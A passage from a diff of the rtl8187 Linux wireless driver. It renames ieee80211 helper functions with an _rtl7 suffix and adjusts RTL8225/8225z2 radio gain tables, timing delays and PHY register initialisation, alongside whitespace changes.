@@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-05-26 10:37:51.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-05-26 10:37:46.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 0 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,47 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - + rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x9d); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 